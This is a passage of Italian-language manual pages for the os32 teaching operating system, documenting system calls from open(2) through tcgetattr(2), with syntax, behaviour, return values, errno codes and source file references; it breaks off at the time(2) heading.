`O_RDWR` `O_RDONLY|O_WRONLY`	Richiede un accesso in lettura e scrittura (la combinazione di '`R_RDONLY`' e di '`O_WRONLY`' è equivalente all'uso di '`O_RDWR`').
`O_CREAT`	Richiede di creare contestualmente il file, ma in tal caso va usato anche il parametro ***mode***.
`O_TRUNC`	Se file da aprire esiste già, richiede che questo sia ridotto preventivamente a un file vuoto.
`O_APPEND`	Fa in modo che le operazioni di scrittura avvengano sempre partendo dalla fine del file.

Quando si utilizza l'opzione '`O_CREAT`', è necessario stabilire la modalità dei permessi, cosa che va fatta preferibilmente attraverso la combinazione di costanti simboliche appropriate, come elencato nella tabella successiva. Tale combinazione va fatta con l'uso

dell'operatore OR binario; per esempio: '**`S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH`**'. Va osservato che os32 non gestisce i gruppi di utenti, pertanto, la definizione dei permessi relativi agli utenti appartenenti al gruppo proprietario di un file, non ha poi effetti pratici nel controllo degli accessi per tale tipo di contesto.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXU`	00700_8	Lettura, scrittura ed esecuzione per l'utente proprietario.
`S_IRUSR`	00400_8	Lettura per l'utente proprietario.
`S_IWUSR`	00200_8	Scrittura per l'utente proprietario.
`S_IXUSR`	00100_8	Esecuzione per l'utente proprietario.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXG`	00070_8	Lettura, scrittura ed esecuzione per il gruppo.
`S_IRGRP`	00040_8	Lettura per il gruppo.
`S_IWGRP`	00020_8	Scrittura per il gruppo.
`S_IXGRP`	00010_8	Esecuzione per il gruppo.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXO`	00007_8	Lettura, scrittura ed esecuzione per gli altri utenti.
`S_IROTH`	00004_8	Lettura per gli altri utenti.
`S_IWOTH`	00002_8	Scrittura per gli altri utenti.
`S_IXOTH`	00001_8	Esecuzione per gli altri utenti.

VALORE RESTITUITO

La funzione restituisce il numero del descrittore del file aperto, se l'operazione ha avuto successo, altrimenti dà semplicemente -1, impostando di conseguenza il valore della variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EEXIST`	Il file da creare esiste già.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Avendo richiesto un accesso in scrittura, si ottiene che il file system che lo contiene consente soltanto un accesso in lettura.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

FILE SORGENTI

'`lib/sys/types.h`' [120.17]

'`lib/sys/stat.h`' [120.16]

'`lib/fcntl.h`' [120.5]

'`lib/fcntl/open.c`' [120.5.3]

VEDERE ANCHE

chmod(2) [112.5], *chown(2)* [112.6], *close(2)* [112.8], *dup(2)* [112.9], *fcntl(2)* [112.15], *link(2)* [112.28], *mknod(2)* [112.30], *mount(2)* [112.31], *read(2)* [112.34], *stat(2)* [112.45], *umask(2)* [112.50], *unlink(2)* [112.52], *write(2)* [112.54], *fopen(3)* [113.35].

112.33 os32: pipe(2)

NOME

'**`pipe`**' - creazione di un condotto senza nome

SINTASSI

```
#include <unistd.h>
int pipe (int pipefd[2]);
```

DESCRIZIONE

La funzione ***pipe()*** crea, nella tabella degli inode, un condotto, ovvero un inode speciale con questa caratteristica. All'inode associa due descrittori, uno per la lettura e l'altro per la scrittura, restituendone il numero, rispettivamente in ***pipefd[0]*** e ***pipefd[1]***. Ciò che viene scritto attraverso il descrittore ***pipefd[1]*** viene accumulato in una memoria

tampone (costituita dallo spazio di memoria inutilizzato nell'inode che lo rappresenta) e viene prelevato con la lettura dal descrittore ***pipefd[0]***.

VALORE RESTITUITO

La funzione restituisce zero se la creazione si è conclusa con successo, oppure −1 in caso di problemi, aggiornando di conseguenza il valore di ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'argomento fornito non è valido.
`EMFILE`	Troppi file aperti.
`ENFILE`	Troppi file aperti nel sistema.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/pipe.c`' [120.21.31]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/lib_s/s_pipe.c`' [119.8.23]

VEDERE ANCHE

close(2) [112.8] *open(2)* [112.32], *write(2)* [112.54], *read(2)* [112.34].

112.34 os32: read(2)

NOME

'**`read`**' - lettura di descrittore di file

SINTASSI

```
#include <unistd.h>
ssize_t read (int fdn, void *buffer, size_t count);
```

DESCRIZIONE

La funzione ***read()*** cerca di leggere il file rappresentato dal descrittore ***fdn***, partendo dalla posizione in cui si trova l'indice interno di accesso, per un massimo di ***count*** byte, collocando i dati letti in memoria a partire dal puntatore ***buffer***. L'indice interno al file viene fatto avanzare della quantità di byte letti effettivamente, se invece si incontra la fine del file, viene aggiornato l'indicatore interno per segnalare tale fatto.

VALORE RESTITUITO

La funzione restituisce la quantità di byte letti effettivamente, oppure zero se è stata raggiunta la fine del file e non si può proseguire oltre. Va osservato che la lettura effettiva di una quantità inferiore di byte rispetto a quanto richiesto non costituisce un errore: in

quel caso i byte mancanti vanno richiesti con successive operazioni di lettura. In caso di errore, la funzione restituisce il valore −1, aggiornando contestualmente la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il numero del descrittore di file non è valido.
`EINVAL`	Il file non è aperto in lettura.
`E_FILE_TYPE_UNSUPPORTED`	Il file è di tipo non gestibile con os32.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/read.c`' [120.21.32]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/lib_s/s_read.c`' [119.8.24]

VEDERE ANCHE

close(2) [112.8] *open(2)* [112.32], *write(2)* [112.54].

112.35 os32: rmdir(2)

NOME

'**`rmdir`**' - eliminazione di una directory vuota

SINTASSI

```
#include <unistd.h>
int rmdir (const char *path);
```

DESCRIZIONE

La funzione ***rmdir()*** cancella la directory indicata come percorso, nella stringa ***path***, purché sia vuota.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Il percorso ***path*** non è valido o è semplicemente un puntatore nullo.
`ENOTDIR`	Il nome indicato o le posizioni intermedie del percorso si riferiscono a qualcosa che non è una directory.
`ENOTEMPTY`	La directory che si vorrebbe cancellare non è vuota.
`EROFS`	La directory si trova in un'unità innestata in sola lettura.
`EPERM`	Mancano i permessi necessari per eseguire l'operazione.
`EUNKNOWN`	Si è verificato un errore imprevisto e sconosciuto.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/rmdir.c`' [120.21.33]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/lib_s/s_unlink.c`' [119.8.38]

VEDERE ANCHE

mkdir(2) [112.29], *unlink(2)* [112.52].

112.36 os32: sbrk(2)

Vedere *brk(2)* [112.3].

112.37 os32: setegid(2)

Vedere *setgid(2)* [112.39].

112.38 os32: seteuid(2)

Vedere *setuid(2)* [112.42].

112.39 os32: setgid(2)

NOME

'**`setgid`**', '**`setegid`**' - impostazione dell'identità del gruppo

SINTASSI

```
#include <unistd.h>
int setgid  (gid_t gid);
int setegid (gid_t gid);
```

DESCRIZIONE

Ogni processo viene associato a un gruppo di utenti, rappresentato da un numero, noto come GID, ovvero *group identity*. Tuttavia si distinguono tre tipi di numeri GID: l'identità reale, l'identità efficace e un'identità salvata in precedenza. L'identità efficace di gruppo (EGID) è quella con cui opera sostanzialmente il processo; l'identità salvata è quella che ha avuto il processo in un altro momento in qualità di identità efficace e che per qualche motivo non ha più.

La funzione ***setgid()*** riceve come argomento un numero GID e si comporta diversamente a seconda della personalità del processo, come descritto nell'elenco successivo:

- se l'identità efficace del processo, EUID o EGID, corrisponde a zero, trattandosi di un caso particolarmente privilegiato, tutte le identità di gruppo del processo (reale, efficace e salvata) vengono inizializzate con il valore fornito alla funzione ***setgid()***;
- se l'identità efficace di gruppo del processo corrisponde a quella fornita come argomento a ***setgid()***, nulla cambia nella gestione delle identità del processo;
- se l'identità di gruppo reale o quella salvata in precedenza corrispondono a quella fornita come argomento di ***setgid()***, viene aggiornato il valore dell'identità efficace, senza cambiare le altre;
- in tutti gli altri casi, l'operazione non è consentita e si ottiene un errore.

La funzione ***setegid()*** riceve come argomento un numero GID e imposta con tale valore l'identità di gruppo efficace del processo, purché si verifichi almeno una delle condizioni seguenti:

- l'identità EUID o EGID del processo è zero;
- l'identità di gruppo reale o quella salvata del processo corrisponde all'identità efficace che si vuole impostare;
- l'identità di gruppo efficace del processo corrisponde già all'identità efficace che si vuole impostare.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EPERM`	Non si dispone dei permessi necessari a eseguire il cambiamento di identità.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/setgid.c`' [120.21.37]

'`lib/unistd/setegid.c`' [120.21.35]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/setgid.c`' [119.8.28]

'`kernel/lib_s/setegid.c`' [119.8.26]

VEDERE ANCHE

getuid(2) [112.24], *geteuid(2)* [112.24], *getgid(2)* [112.19], *getegid(2)* [112.19], *setuid(2)* [112.42].

112.40 os32: setjmp(2)

NOME

'**`setjmp`**', '**`longjmp`**' - salvataggio e recupero della pila per i «salti non locali»

SINTASSI

```
#include <setjmp.h>
int setjmp (jmp_buf env);
void longjmp (jmp_buf env, int val);
```

DESCRIZIONE

La funzione ***setjmp()*** consente di salvare, in corrispondenza dei una posizione di memoria rappresentata da ***env***, il contesto della pila dei dati per poterne recuperare lo stato in un momento successivo, attraverso ***longjmp()***. Quando la funzione ***longjmp()*** viene chiamata, la sua uscita si manifesta al posto della chiamata di ***setjmp()*** a cui è stato fatto riferimento con ***env***. Pertanto, quando la funzione ***setjmp()*** viene chiamata realmente, restituisce sempre il valore zero, mentre quando l'uscita di ***setjmp()*** deve in realtà manifestare il salto ottenuto con ***longjmp()***, il valore restituito è quanto corrisponde a ***val*** (il secondo parametro di ***longjmp()***.

os32 realizza il meccanismo del salto con ripristino del contesto, attraverso chiamate di funzione, per facilitare la comprensibilità del codice.

Figura 109.65. Lo stato della pila durante le varie fasi che riguardano la chiamata di ***setjmp()***, a confronto con i tipi '**`jmp_stack_t`**' e '**`jmp_env_t`**'.

Figura 109.66. La chiamata di ***longjmp()*** ricostruisce la vecchia pila di ***setjmp()***, nella posizione in cui si trovava, ricollocando l'indice della pila e modificando il valore che poi ***setjmp()*** rediviva va a restituire.

jmp_env_t

proc_stack_pointer

esp0 *eax0* *ecx0* *edx0* *ebx0* *ebp0* *esi0* *edi0* *ds0* *es0* *fs0* *gs0* *eip0* *cs0* *eflags0* *eip1* *syscallnr* *msg_pointer* *msg_size* *env* *ret* *ebp1* *eip2*

jmp_stack_t

void longjmp (jmp_buf env, int val);

copia

void s_longjmp (jmp_buf env, int val);

eax0 *ecx0* *edx0* *ebx0* *ebp0* *esi0* *edi0* *ds0* *es0* *fs0* *gs0* *eip0* *cs0* *eflags0* *eip1* *syscallnr* *msg_pointer* *msg_size* *env* *ret = val* *ebp1* *eip2*

VALORE RESTITUITO

La funzione ***setjmp()*** restituisce zero quando viene chiamata per salvare il contesto operativo, mentre restituisce ***val*** quando rappresenta il ripristino del contesto derivante dall'uso della funzione ***longjmp()***.

NOTE

Le funzioni ***setjmp()*** e ***longjmp()*** fanno parte dello standard per motivi storici, ma il loro uso è decisamente sconsigliabile.

Quando si ripristina il contesto con ***longjmp()***, è necessario che la pila precedente alla chiamata di ***setjmp()*** non sia stata compromessa. Pertanto, come condizione necessaria, ma non sufficiente, ***longjmp()*** può essere usato soltanto per ripristinare un contesto che nella pila attuale si trovi in una posizione antecedente (più interna).

FILE SORGENTI

'`lib/setjmp.h`' [120.10]

'`lib/setjmp/setjmp.s`' [120.10.2]

'`lib/setjmp/longjmp.c`' [120.10.1]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_setjmp.c`' [119.8.29]

'`kernel/lib_s/s_longjmp.c`' [119.8.17]

VEDERE ANCHE

signal(2) [112.43].

112.41 os32: setpgrp(2)

NOME

'**`setpgrp`**' - impostazione del gruppo a cui appartiene il processo

SINTASSI

```
#include <unistd.h>
int setpgrp (void);
```

DESCRIZIONE

La funzione ***setpgrp()*** fa sì che il processo in corso costituisca un proprio gruppo autonomo, corrispondente al proprio numero PID. In altri termini, la funzione serve per iniziare un nuovo gruppo di processi, a cui i processi figli creati successivamente vengano associati in modo predefinito.

VALORE RESTITUITO

La funzione termina sempre con successo e restituisce sempre zero.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/setpgrp.c`' [120.21.38]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

VEDERE ANCHE

getpgrp(2) [112.41], *getuid(2)* [112.24].

112.42 os32: setuid(2)

NOME

'**`setuid`**', '**`seteuid`**' - impostazione dell'identità dell'utente

SINTASSI

```
#include <unistd.h>
int setuid  (uid_t uid);
int seteuid (uid_t uid);
```

DESCRIZIONE

A ogni processo viene attribuita l'identità di un utente, rappresentata da un numero, noto come UID, ovvero *user identity*. Tuttavia si distinguono tre tipi di numeri UID: l'identità reale, l'identità efficace e un'identità salvata in precedenza. L'identità efficace (EUID) è quella con cui opera sostanzialmente il processo; l'identità salvata è quella che ha avuto il processo in un altro momento in qualità di identità efficace e che per qualche motivo non ha più.

La funzione ***setuid()*** riceve come argomento un numero UID e si comporta diversamente a seconda della personalità del processo, come descritto nell'elenco successivo:

- se l'identità efficace del processo corrisponde a zero, trattandosi di un caso particolarmente privilegiato, tutte le identità del processo (reale, efficace e salvata) vengono inizializzate con il valore fornito alla funzione ***setuid()***;
- se l'identità efficace del processo corrisponde a quella fornita come argomento a ***setuid()***, nulla cambia nella gestione delle identità del processo;
- se l'identità reale o quella salvata in precedenza corrispondono a quella fornita come argomento di ***setuid()***, viene aggiornato il valore dell'identità efficace, senza cambiare le altre;
- in tutti gli altri casi, l'operazione non è consentita e si ottiene un errore.

La funzione ***seteuid()*** riceve come argomento un numero UID e imposta con tale valore l'identità efficace del processo, purché si verifichi almeno una delle condizioni seguenti:

- l'identità efficace del processo è zero;
- l'identità reale o quella salvata del processo corrisponde all'identità efficace che si vuole impostare;
- l'identità efficace del processo corrisponde già all'identità efficace che si vuole impostare.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EPERM`	Non si dispone dei permessi necessari a eseguire il cambiamento di identità.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/setuid.c`' [120.21.39]

'`lib/unistd/seteuid.c`' [120.21.36]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_setuid.c`' [119.8.30]

'`kernel/lib_s/s_seteuid.c`' [119.8.27]

VEDERE ANCHE

getuid(2) [112.24], *geteuid(2)* [112.24], *getgid(2)* [112.19], *getegid(2)* [112.19], *setgid(2)* [112.39], *setegid(2)* [112.39].

VEDERE ANCHE

getuid(2) [112.42].

112.43 os32: signal(2)

NOME

'**`signal`**' - abilitazione e disabilitazione dei segnali

SINTASSI

```
#include <signal.h>
sighandler_t signal (int sig, sighandler_t handler);
```

DESCRIZIONE

La funzione ***signal()*** di os32 consente soltanto di abilitare o disabilitare un segnale, il quale, se abilitato, può essere gestito solo in modo predefinito dal sistema. Pertanto, il valore che può assumere ***handler*** sono solo: '**`SIG_DFL`**' (gestione predefinita) e '**`SIG_IGN`**' (ignora il segnale). Il primo parametro, ***sig***, rappresenta il segnale a cui applicare ***handler***.

Il tipo '**`sighandler_t`**' è definito nel file '`signal.h`', nel modo seguente:

```
typedef void (*sighandler_t) (int);
```

Rappresenta il puntatore a una funzione avente un solo parametro di tipo '**`int`**', la quale non restituisce alcunché.

VALORE RESTITUITO

La funzione restituisce il tipo di «gestione» impostata precedentemente per il segnale richiesto, ovvero '**`SIG_ERR`**' in caso di errore.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il numero ***sig*** o il valore di ***handler*** non sono validi.

NOTE

Lo scopo della funzione ***signal()*** dovrebbe essere quello di consentire l'associazione di un evento, manifestato da un segnale, all'esecuzione di un'altra funzione, avente una forma del tipo '***nome*** **`(int)`**'. os32 non consente tale gestione, pertanto lascia soltanto la possibilità di attribuire un comportamento predefinito al segnale scelto, oppure di disabilitarlo, ammesso che ciò sia consentito. Sotto questo aspetto, il fatto di dover gestire i valori '**`SIG_ERR`**', '**`SIG_DFL`**' e '**`SIG_IGN`**', come se fossero puntatori a una funzione, diventa superfluo, ma rimane utile soltanto per mantenere un minimo di conformità con quello che è lo standard della funzione ***signal()***.

FILE SORGENTI

'`lib/signal.h`' [120.11]

'`lib/signal/signal.c`' [120.11.3]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_signal.c`' [119.8.31]

VEDERE ANCHE

kill(2) [112.25].

112.44 os32: sleep(2)

NOME

'**`sleep`**' - pausa volontaria del processo chiamante

SINTASSI

```
#include <unistd.h>
unsigned int sleep (unsigned int seconds);
```

DESCRIZIONE

La funzione ***sleep()*** chiede di mettere a riposo il processo chiamante per la quantità di secondi indicata come argomento. Il processo può però essere risvegliato prima della conclusione di tale durata, ma in tal caso la funzione restituisce la quantità di secondi che non sono stati usati per il «riposo» del processo.

VALORE RESTITUITO

La funzione restituisce zero se la pausa richiesta è trascorsa completamente; altrimenti, restituisce quanti secondi mancano ancora per completare il tempo di riposo chiesto originariamente. Non si prevede il manifestarsi di errori.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/sleep.c`' [120.21.40]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

VEDERE ANCHE

signal(2) [112.43].

112.45 os32: stat(2)

NOME

'**`stat`**', '**`fstat`**' - interrogazione dello stato di un file

SINTASSI

```
#include <sys/stat.h>
int stat  (const char *path, struct stat *buffer);
int fstat (int fdn, struct stat *buffer);
```

DESCRIZIONE

Le funzioni ***stat()*** e ***fstat()*** interrogano il sistema su di un file, per ottenerne le caratteristiche in forma di variabile strutturata di tipo '**`struct stat`**'.

La funzione ***stat()*** individua il file attraverso una stringa contenente il suo percorso (***path***); la funzione '**`fstat`**' si riferisce a un file aperto di cui si conosce il numero del descrittore (***fdn***). In entrambi i casi, la struttura che deve accogliere l'esito dell'interrogazione, viene indicata attraverso un puntatore, come ultimo argomento (***buffer***).

La struttura '**`struct stat`**' è definita nel file '`sys/stat.h`' nel modo seguente:

```
struct stat {
    dev_t     st_dev;       // Device containing the file.
    ino_t     st_ino;       // File serial number (inode number).
    mode_t    st_mode;      // File type and permissions.
    nlink_t   st_nlink;     // Links to the file.
    uid_t     st_uid;       // Owner user id.
    gid_t     st_gid;       // Owner group id.
    dev_t     st_rdev;      // Device number if it is a device file.
    off_t     st_size;      // File size.
    time_t    st_atime;     // Last access time.
    time_t    st_mtime;     // Last modification time.
    time_t    st_ctime;     // Last inode modification.
    blksize_t st_blksize;   // Block size for I/O operations.
    blkcnt_t  st_blocks;    // File size / block size.
};
```

Va osservato che il file system Minix 1, usato da os32, riporta esclusivamente la data e l'ora di modifica, pertanto le altre due date previste sono sempre uguali a quella di modifica.

Il membro ***st_mode***, oltre alla modalità dei permessi che si cambiano con *chmod(2)* [112.5], serve ad annotare altre informazioni. Nel file '`sys/stat.h`' sono definite delle macro-istruzioni, utili per individuare il tipo di file. Queste macro-istruzioni si risolvono in un valore numerico diverso da zero, solo se la condizione che rappresentano è vera:

Macro-istruzione	Significato
`S_ISBLK (`***m***`)`	È un file di dispositivo a blocchi?
`S_ISCHR (`***m***`)`	È un file di dispositivo a caratteri?
`S_ISFIFO (`***m***`)`	È un file FIFO?
`S_ISREG (`***m***`)`	È un file puro e semplice?
`S_ISDIR (`***m***`)`	È una directory?
`S_ISLNK (`***m***`)`	È un collegamento simbolico?
`S_ISSOCK (`***m***`)`	È un socket di dominio Unix?

Naturalmente, anche se nel file system possono esistere file di ogni tipo, poi os32 non è in grado di gestire i file FIFO, i collegamenti simbolici e nemmeno i socket di dominio Unix.

Nel file '`sys/stat.h`' sono definite anche delle macro-variabili per individuare e facilitare la selezione dei bit che compongono le informazioni del membro ***st_mode***:

Modalità simbolica	Modalità numerica	Descrizione
`S_IFMT`	0170000_8	Maschera che raccoglie tutti i bit che individuano il tipo di file.
`S_IFBLK`	0060000_8	File di dispositivo a blocchi.
`S_IFCHR`	0020000_8	File di dispositivo a caratteri.
`S_IFIFO`	0010000_8	File FIFO.
`S_IFREG`	0100000_8	File puro e semplice.
`S_IFDIR`	0040000_8	Directory.
`S_IFLNK`	0120000_8	Collegamento simbolico.
`S_IFSOCK`	0140000_8	Socket di dominio Unix.

Modalità simbolica	Modalità numerica	Descrizione
`S_ISUID`	0004000_8	SUID.
`S_ISGID`	0002000_8	SGID.
`S_ISVTX`	0001000_8	Sticky.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXU`	0000700_8	Lettura, scrittura ed esecuzione per l'utente proprietario.
`S_IRUSR`	0000400_8	Lettura per l'utente proprietario.
`S_IWUSR`	0000200_8	Scrittura per l'utente proprietario.
`S_IXUSR`	0000100_8	Esecuzione per l'utente proprietario.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXG`	0000070_8	Lettura, scrittura ed esecuzione per il gruppo.
`S_IRGRP`	0000040_8	Lettura per il gruppo.
`S_IWGRP`	0000020_8	Scrittura per il gruppo.
`S_IXGRP`	0000010_8	Esecuzione per il gruppo.

Modalità simbolica	Modalità numerica	Descrizione
S_IRWXO	0000007_8	Lettura, scrittura ed esecuzione per gli altri utenti.
S_IROTH	0000004_8	Lettura per gli altri utenti.
S_IWOTH	0000002_8	Scrittura per gli altri utenti.
S_IXOTH	0000001_8	Esecuzione per gli altri utenti.

os32 non considera i permessi SUID (*Set user id*), SGID (*Set group id*) e Sticky; inoltre, non tiene in considerazione i permessi legati al gruppo, perché non ne tiene traccia.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
ENFILE	Troppi file aperti nel sistema.
ENOENT	File non trovato.
EACCES	Permesso negato.
EBADF	Il descrittore del file richiesto non è valido.

FILE SORGENTI

'lib/sys/stat.h' [120.16]

'lib/sys/stat/stat.c' [120.16.6]

'lib/sys/stat/fstat.c' [120.16.3]

'lib/sys/os32/sys.s' [120.15.4]

'kernel/ibm_i386/isr.s' [119.6.21]

'kernel/proc/sysroutine.c' [119.13.27]

'kernel/lib_s/s_stat.c' [119.8.32]

'kernel/lib_s/s_fstat.c' [119.8.14]

VEDERE ANCHE

chmod(2) [112.5], *chown(2)* [112.6].

112.46 os32: sys(2)

NOME

'**sys**' - chiamata di sistema

SINTASSI

```
#include <sys/os32.h>
void sys (int syscallnr, void *message, size_t size);
```

DESCRIZIONE

Attraverso la funzione ***sys()*** si effettuano tutte le chiamate di sistema, passando al kernel un messaggio, a cui punta ***message***, lungo ***size*** byte. A seconda dei casi, il messaggio può essere modificato dal kernel, come risposta alla chiamata.

Il messaggio è in pratica una variabile strutturata, la cui articolazione cambia a seconda del tipo di chiamata, pertanto si rende necessario specificarne ogni volta la dimensione.

Le strutture usate per comporre i messaggi hanno alcuni membri ricorrenti frequentemente:

Membro	Descrizione
`char path[PATH_MAX];`	Un percorso di file o directory.
`… ret;`	Serve a contenere il valore restituito dalla funzione che nel kernel compie effettivamente il lavoro. Il tipo del membro varia caso per caso.
`int errno;`	Serve a contenere il numero dell'errore prodotto dalla funzione che nel kernel compie effettivamente il lavoro.
`int errln;`	Serve a contenere il numero della riga di codice in cui si è prodotto un errore.
`char errfn[PATH_MAX];`	Serve a contenere il nome del file in cui si è prodotto un errore.

Le funzioni che si avvalgono di ***sys()***, prima della chiamata devono provvedere a compilare il messaggio con i dati necessari, dopo la chiamata devono acquisire i dati di ritorno, contenuti nel messaggio aggiornato dal kernel, e in particolare devono aggiornare le variabili ***errno***, ***errln*** e ***errfl***, utilizzando i membri con lo stesso nome presenti nel messaggio.

FILE SORGENTI

'`lib/sys/os32.h`' [120.15]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

112.47 os32: stime(2)

Vedere *time(2)* [112.49].

112.48 os32: tcgetattr(2)

NOME

'**tcgetattr**', '**tcsetattr**' - lettura o impostazione della configurazione del terminale

SINTASSI

```
#include <termios.h>
int tcgetattr (int fdn, struct termios *termios_p);
int tcsetattr (int fdn, int action,
               struct termios *termios_p);
```

DESCRIZIONE

Le funzioni che fanno capo al file di intestazione 'termios.h' consentono di gestire la configurazione del terminale, per ciò che riguarda l'input e l'output dello stesso. Va comunque osservato che os32 gestisce il terminale esclusivamente in modalità canonica, sostanzialmente equivalente a quella della vecchia telescrivente.

La configurazione del terminale viene letta o scritta attraverso una variabile strutturata di tipo '**struct termios**', organizzata nel modo seguente:

```
struct termios {
    tcflag_t c_iflag;
    tcflag_t c_oflag;
    tcflag_t c_cflag;
    tcflag_t c_lflag;
    cc_t     c_cc[NCCS];
};
```

Il membro ***c_cc[]*** è un array di caratteri di controllo, a cui viene attribuita una definizione. Il membro ***c_iflag*** serve a contenere opzioni sull'inserimento, ovvero sul controllo della digitazione. Il membro ***c_lflag*** serve a contenere delle opzioni definite come «locali», le quali si occupano in pratica di controllare la visualizzazione della digitazione introdotta e di decidere se l'interruzione ricevuta da tastiera debba produrre l'invio di un segnale di interruzione al processo con cui si sta interagendo. Gli altri due membri della struttura non vengono utilizzati da os32.

Tabella 109.90. Caratteri di controllo riconosciuti da os32, secondo le definizioni del file 'termios.h'.

Definizione	Corrispondenza	Descrizione
VEOF	04_{16} *<EOT>*	Carattere di fine file.
VERASE	08_{16} *<BS>*	Carattere di cancellazione.
VINTR	03_{16} *<ETX>*	Carattere di interruzione.
VQUIT	$1C_{16}$ *<FS>*	Carattere di abbandono.

Tabella 109.91. Opzioni del membro ***c_iflag*** riconosciute da os32.

Opzione	Descrizione
BRKINT	Se questa opzione è attiva e, nel contempo, non è attiva ***IGNBRK***, si intendono recepire i codici di interruzione ***VINTR***. Se l'opzione ***ISIG*** del membro ***c_lflag*** è attiva, il processo più interno del gruppo a cui appartiene il terminale viene concluso; in ogni caso, viene annullato il contenuto della riga di inserimento in corso.
ICRNL	Se si riceve il carattere <*CR*>, questo viene convertito in <*NL*>.
IGNBRK	Se questa opzione è attiva, fa sì che il carattere definito come ***VINTR*** sia ignorato.
IGNCR	Se si riceve il carattere <*CR*>, questo viene ignorato semplicemente.
INLCR	Se si riceve il carattere <*NL*>, questo viene convertito in <*CR*>.

Tabella 109.92. Opzioni del membro ***c_lflag*** riconosciute da os32.

Opzione	Descrizione
ECHO	Abilita la visualizzazione sullo schermo del testo inserito da tastiera.
ECHOE	Ammesso che sia attiva l'opzione ***ECHO***, questa abilita il recepimento del carattere definito come ***VERASE*** per cancellare l'ultimo carattere inserito, indietreggiando di una posizione.
ECHONL	Indipendentemente dall'opzione ***ECHO***, questa abilita il recepimento del carattere <*NL*> per fare avanzare il cursore alla riga successiva, con l'eventuale scorrimento in avanti se si trova già sull'ultima.
ISIG	Ammesso che sia recepito e accettato un codice di interruzione, definito come ***VINTR***, con questa opzione si ottiene l'invio di un segnale di interruzione al processo più interno del gruppo collegato al terminale (il processo più interno dovrebbe corrispondere a quello in primo piano al momento della digitazione).

La funzione ***tcgetattr()*** legge la configurazione del terminale connesso al descrittore ***fdn***, mettendo i dati ottenuti nella struttura a cui punta ***termios_p***; al contrario, ***tcsetattr()*** configura il terminale del descrittore ***fdn***, in base ai dati contenuti nella struttura a cui punta ***termios_p***.

VALORE RESTITUITO

La funzioni ***tcgetattr()*** e ***tcsetattr()*** restituiscono zero in caso di successo, oppure il valore -1 in caso contrario, aggiornando di conseguenza la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il puntatore ***termios_p*** non è valido.
`EBADF`	Il numero del descrittore di file non è valido.
`ENOTTY`	Il numero del descrittore di file non corrisponde a un terminale.

DIFETTI

È disponibile soltanto una modalità canonica di funzionamento del terminale.

FILE SORGENTI

'`lib/termios.h`' [120.19]

'`lib/termios/tcgetattr.c`' [120.19.1]

'`lib/termios/tcsetattr.c`' [120.19.2]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s.h`' [119.8]

'`kernel/lib_s/s_tcgetattr.c`' [119.8.34]

'`kernel/lib_s/s_tcsetattr.c`' [119.8.35]

VEDERE ANCHE

tty(1) [111.25], *isatty(3)* [113.64].

112.49 os32: time(2)

«

NOME

